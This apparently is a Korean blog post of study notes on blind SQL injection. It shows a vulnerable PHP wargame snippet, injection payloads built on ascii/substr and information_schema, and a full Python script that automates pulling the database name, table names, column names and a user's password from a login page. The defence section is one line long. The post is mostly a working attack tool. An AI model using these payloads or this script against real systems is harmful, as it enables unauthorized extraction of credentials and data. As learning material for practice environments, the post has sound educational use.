티스토리 뷰

Web

Blind SQL Injection 실습 정리

Tribal 2017. 5. 16. 01:49

Blind SQL Injection : DB 내부의 값을 직접 얻거나 할 필요가 있을 때 하는 공격


상황 예제(LOS 코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
    ..............................
    if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
    $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
    echo "<hr>query : <strong>{$query}</strong><hr><br>"
    $result = @mysql_fetch_array(mysql_query($query)); 
    if($result['id']) echo "<h2>Hello admin</h2>"
   
    $_GET[pw] = addslashes($_GET[pw]); 
    $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
    $result = @mysql_fetch_array(mysql_query($query)); 
    if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orc"); 
?>
cs

12번째 줄과 같이 DB에서 탐색된 값과 입력된 값을 다시 한 번 검증하는 경우는 SQL Injection만을 이용해서 공격하기 어려움.

이런 경우에 Blind SQL Injection을 통해 pw의 값을 얻어낼 필요가 있음



실습 페이지(그냥 페이지만 만들어서 SQL Injection도 먹힘)

sql.tar.gz


공격 원리

1. 

2.

3. 전부 알아낼 때 까지 과정을 반복


공격 원리에 필요한 것

  • substr 연산자 : 1번째 인자의 문자열을 2번째 인자의 위치부터 3번째 인자만큼 자름
    ex) substr(TEst, 2, 3) => Est
  • ascii 연산자 : 문자의 아스키 값을 반환
    ex) ascii('A') => 65
  • information_schema : 데이터베이스의 메타데이터(모든 Table, Column 등...)를 저장하는 schema
  • substr과 ascii 연산자를 이용해 DB에서 값의 일부를 하나씩 가져와 값의 범위나 값 자체를 비교하는 것으로 참과 거짓 판단
    ex) DB 내부의 값 중 "Tribal"이란 값이 존재함. "Tribal"의 문자를 하나씩 가져와 'T' > 100이나 'T' = 84 등을 확인하여 페이지의 결과 변화로 참과 거짓 확인(참이면 Hello, Tribal이라거나 거짓이면 Login failed...라거나)

공격 방법(공격 원리를 자세히..)

  1. SQL Injection 여부 확인
  2. 값을 참이 되도록 조작(id='' or 1=1...처럼)해두고 뒤에 추가로 Blind SQL 값 판단 확인 쿼리 내용 추가
    ex) tribal' and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) = 84 #
  3. 쿼리를 실행하도록 하여 페이지 결과 확인(위의 ex에서 참이면 그 문자는 'T', 아니라면 84를 참일 때 까지 다른 값으로 계속 변경)
  4. 주로 빨간색 표시된 부분의 값을 계속 변경하여 최종적으로 데이터 값 추출(직접하기 힘드므로 스크립트 추천)

공격방법 참고 사이트


자동화 스크립트

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/python
import urllib, urllib2
import sys
 
# Connect URL
def urlcon(query):
    method = "id=" + urllib.quote(query)   # url encode
    method += "&"
    method += "pw=asd"
 
    url = urllib2.Request('http://~~~~~~~~~~~~/sql_db/login.php?' + method)
    s = urllib2.urlopen(url)
 
    result = s.read()
 
    s.close()
 
    # Check
    if result.find("Hello, "== -1:
        return 0    # failed
    else:
        return 1    # success
 
# Get a current DB Name
def get_db():
    length = 0
    db = ""
 
    for i in range(1301):        # Get Length
        query = "tribal' and substr((select length(database())), 1, 2) = '{0}'#".format(i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(01271):
            query = "tribal' and ascii(substr((select database()), {0}, 1)) = '{1}'#".format(i+1, j)
            if urlcon(query) == 1:
                db += chr(j)
                break
        print db
 
    print "================================================================="
    print "Result : " + db
 
    return db
 
# Get Tables
def get_table():
    tlist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1301):        # Get Length
            query = "tribal' and substr((select length(table_name) from information_schema.tables where table_type='base table' limit {0},1),1,2) = '{1}' #".format(index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        table = ""
        for i in range(length):
            for j in range(01271):
                query = "tribal' and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit {0},1),{1},1)) = '{2}' #".format(index, i+1, j)
                if urlcon(query) == 1:
                    table += chr(j)
                    break
            print table
        tlist.append(table)
        index += 1
 
    print tlist
    return tlist
 
# Get Columns
def get_column(table):
    clist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1301):        # Get Length
            query = "tribal' and substr((select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1),1,2) = '{2}' #".format(table, index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        column = ""
        for i in range(length):
            for j in range(01271):
                query = "tribal' and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)) = '{3}' #".format(table, index, i+1, j)
                if urlcon(query) == 1:
                    column += chr(j)
                    break
            print column
        clist.append(column)
        index += 1
 
    print clist
    return clist
 
# Get a Value
def get_value(table, ID):
    length = 0
    pw = ""
 
    for i in range(1301):        # Get Length
        query = "tribal' and substr((select length(pw) from {0} where id='{1}' limit 0,1),1,2) = '{2}' #".format(table, ID, i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(01271):
            query = "tribal' and ascii(substr((select pw from {0} where id='{1}' limit 0,1),{2},1)) = '{3}' #".format(table, ID, i+1, j)
            if urlcon(query) == 1:
                pw += chr(j)
                break
        print pw
 
    print "================================================================="
    print "Result : " + pw
 
    return pw
 
# Main Function
if __name__ == '__main__':
    print "================================================================="
    print "Blind SQL Injection"
    print "=================================================================\n"
 
    argc = len(sys.argv)
    if argc >= 2:
        if int(sys.argv[1]) == 1:
            get_db()
        elif int(sys.argv[1]) == 2:
            get_table()
        elif (int(sys.argv[1]) == 3and sys.argv[2]:
            get_column(sys.argv[2])        # Table Name is "accounts".
        elif (int(sys.argv[1]) == 4and sys.argv[2and sys.argv[3]:
            get_value(sys.argv[2], sys.argv[3])    # Table Name is "accounts", ID is "tribal".
        else:
            print "Usage : {0} <num(1~4)> [Table Name] [ID]".format(sys.argv[0])
    else:
        print "Usage : {0} <num(1~4)> [Table Name] [ID]".format(sys.argv[0])
 
cs

단순하게 1~127까지 검사하기 때문에 시간이 많이 걸린다. 따라서 이진탐색을 이용한 알고리즘을 사용하면 2^7=128이기 때문에 정말 특수한 경우가 아니라면, 1~127번의 횟수를 7번으로 대폭 줄일 수 있다.


실행결과

현재 사용 중인 DB명 추출


모든 base table명 추출


table 내부 모든 column명 추출


table 내부 특정 value 추출



방어방법

SQL Injection이랑 동일...(필터링을 잘)

'Web' 카테고리의 다른 글

[selenium] Selenium GET/POST method 코드 예제  (1) 2020.07.07
[Python] requests 모듈  (0) 2018.10.02
mysql 설치 후, mysql 접속 안 될 때  (0) 2017.05.15
CGI Buffer Overflow  (0) 2017.05.11
Apache2 cgi 동적 페이지  (2) 2017.04.05
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31